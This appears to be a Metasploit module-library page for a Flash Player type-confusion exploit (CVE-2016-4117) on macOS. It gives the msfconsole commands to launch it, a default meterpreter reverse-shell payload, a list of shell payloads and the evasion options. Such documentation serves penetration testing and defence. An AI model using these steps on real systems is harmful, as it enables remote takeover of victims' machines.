Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion - Metasploit
This page contains detailed information about how to use the exploit/osx/browser/adobe_flash_delete_range_tl_op metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion
Module: exploit/osx/browser/adobe_flash_delete_range_tl_op
Source code: modules/exploits/osx/browser/adobe_flash_delete_range_tl_op.rb
Disclosure date: 2016-04-27
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-4117
This module exploits a type confusion on Adobe Flash Player, which was originally found being successfully exploited in the wild. This module has been tested successfully on: macOS Sierra 10.12.3, Safari and Adobe Flash Player 21.0.0.182, Firefox and Adobe Flash Player 21.0.0.182.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
msf > use exploit/osx/browser/adobe_flash_delete_range_tl_op
msf exploit(adobe_flash_delete_range_tl_op) > run
This module is also supported by Browser Autopwn 2.
To load it from Browser Autopwn 2, here's how:
msf > use auxiliary/server/browser_autopwn2
msf auxiliary(browser_autopwn2) > set INCLUDE_PATTERN adobe_flash_delete_range_tl_op
INCLUDE_PATTERN => adobe_flash_delete_range_tl_op
msf auxiliary(browser_autopwn2) > exploit
Go back to menu.
Msfconsole Usage
Here is how the osx/browser/adobe_flash_delete_range_tl_op exploit module looks in the msfconsole:
msf6 > use exploit/osx/browser/adobe_flash_delete_range_tl_op
[*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/browser/adobe_flash_delete_range_tl_op) > show info
Name: Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion
Module: exploit/osx/browser/adobe_flash_delete_range_tl_op
Platform: OSX
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2016-04-27
Provided by:
Genwei Jiang
bcook-r7
Available targets:
Id Name
-- ----
0 Mac OS X
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Retries true no Allow the browser to retry the module
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits a type confusion on Adobe Flash Player, which
was originally found being successfully exploited in the wild. This
module has been tested successfully on: macOS Sierra 10.12.3, Safari
and Adobe Flash Player 21.0.0.182, Firefox and Adobe Flash Player
21.0.0.182.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-4117
http://www.securityfocus.com/bid/90505
https://www.fireeye.com/blog/threat-research/2016/05/cve-2016-4117-flash-zero-day.html
http://www.securitytracker.com/id/1035826
https://helpx.adobe.com/security/products/flash-player/apsa16-02.html
https://helpx.adobe.com/security/products/flash-player/apsb16-15.html
Module Options
This is a complete list of options available in the osx/browser/adobe_flash_delete_range_tl_op exploit:
msf6 exploit(osx/browser/adobe_flash_delete_range_tl_op) > show options
Module options (exploit/osx/browser/adobe_flash_delete_range_tl_op):
Name Current Setting Required Description
---- --------------- -------- -----------
Retries true no Allow the browser to retry the module
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (osx/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
Exploit target:
Id Name
-- ----
0 Mac OS X
Advanced Options
Here is a complete list of advanced options supported by the osx/browser/adobe_flash_delete_range_tl_op exploit:
msf6 exploit(osx/browser/adobe_flash_delete_range_tl_op) > show advanced
Module advanced options (exploit/osx/browser/adobe_flash_delete_range_tl_op):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
CookieExpiration no Cookie expiration in years (blank=expire on exit)
CookieName __ua no The name of the tracking cookie
Custom404 no An external custom 404 URL (Example: http://example.com/404.html)
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
JsIdentifiers no Identifiers to preserve for JsObfu
JsObfuscate 0 no Number of times to obfuscate JavaScript
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (osx/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the osx/browser/adobe_flash_delete_range_tl_op module can exploit:
msf6 exploit(osx/browser/adobe_flash_delete_range_tl_op) > show targets
Exploit targets:
Id Name
-- ----
0 Mac OS X
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the osx/browser/adobe_flash_delete_range_tl_op exploit:
msf6 exploit(osx/browser/adobe_flash_delete_range_tl_op) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/osx/x64/dupandexecve/bind_tcp normal No OS X dup2 Command Shell, Bind TCP Stager
4 payload/osx/x64/dupandexecve/reverse_tcp normal No OS X dup2 Command Shell, Reverse TCP Stager
5 payload/osx/x64/dupandexecve/reverse_tcp_uuid normal No OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)
6 payload/osx/x64/exec normal No OS X x64 Execute Command
7 payload/osx/x64/meterpreter/bind_tcp normal No OSX Meterpreter, Bind TCP Stager
8 payload/osx/x64/meterpreter/reverse_tcp normal No OSX Meterpreter, Reverse TCP Stager
9 payload/osx/x64/meterpreter/reverse_tcp_uuid normal No OSX Meterpreter, Reverse TCP Stager with UUID Support (OSX x64)
10 payload/osx/x64/meterpreter_reverse_http normal No OSX Meterpreter, Reverse HTTP Inline
11 payload/osx/x64/meterpreter_reverse_https normal No OSX Meterpreter, Reverse HTTPS Inline
12 payload/osx/x64/meterpreter_reverse_tcp normal No OSX Meterpreter, Reverse TCP Inline
13 payload/osx/x64/say normal No OS X x64 say Shellcode
14 payload/osx/x64/shell_bind_tcp normal No OS X x64 Shell Bind TCP
15 payload/osx/x64/shell_reverse_tcp normal No OS X x64 Shell Reverse TCP
Evasion Options
Here is the full list of possible evasion options supported by the osx/browser/adobe_flash_delete_range_tl_op exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(osx/browser/adobe_flash_delete_range_tl_op) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12994 Merged Pull Request: Remove executable flags from exploit files
- #11152 Merged Pull Request: Add Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion (CVE-2016-4117) exploit targeting macOS
References
- CVE-2016-4117
- BID-90505
- https://www.fireeye.com/blog/threat-research/2016/05/cve-2016-4117-flash-zero-day.html
- http://www.securitytracker.com/id/1035826
- https://helpx.adobe.com/security/products/flash-player/apsa16-02.html
- https://helpx.adobe.com/security/products/flash-player/apsb16-15.html
See Also
Check also the following modules related to this module:
- exploit/osx/browser/mozilla_mchannel
- exploit/osx/browser/osx_gatekeeper_bypass
- exploit/osx/browser/safari_file_policy
- exploit/osx/browser/safari_in_operator_side_effect
- exploit/osx/browser/safari_metadata_archive
- exploit/osx/browser/safari_proxy_object_type_confusion
- exploit/osx/browser/safari_user_assisted_applescript_exec
- exploit/osx/browser/safari_user_assisted_download_launch
- exploit/osx/browser/software_update
- exploit/osx/local/rootpipe_entitlements
- exploit/osx/samba/trans2open
Related Nessus plugins:
- MS16-064: Security Update for Adobe Flash Player (3163207)
- Google Chrome < 50.0.2661.102 Multiple Vulnerabilities
- Google Chrome < 50.0.2661.102 Multiple Vulnerabilities (Mac OS X)
- RHEL 5 / 6 : flash-plugin (RHSA-2016:1079)
- Adobe AIR <= 21.0.0.198 Multiple Vulnerabilities (APSB16-15)
- Adobe Flash Player <= 21.0.0.226 Multiple Vulnerabilities (APSB16-15)
- Adobe AIR for Mac <= 21.0.0.198 Multiple Vulnerabilities (APSB16-15)
- Adobe Flash Player for Mac <= 21.0.0.226 Multiple Vulnerabilities (APSB16-15)
- openSUSE Security Update : flash-player (openSUSE-2016-585)
- openSUSE Security Update : flash-player (openSUSE-2016-587)
Authors
- Genwei Jiang
- bcook-r7
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.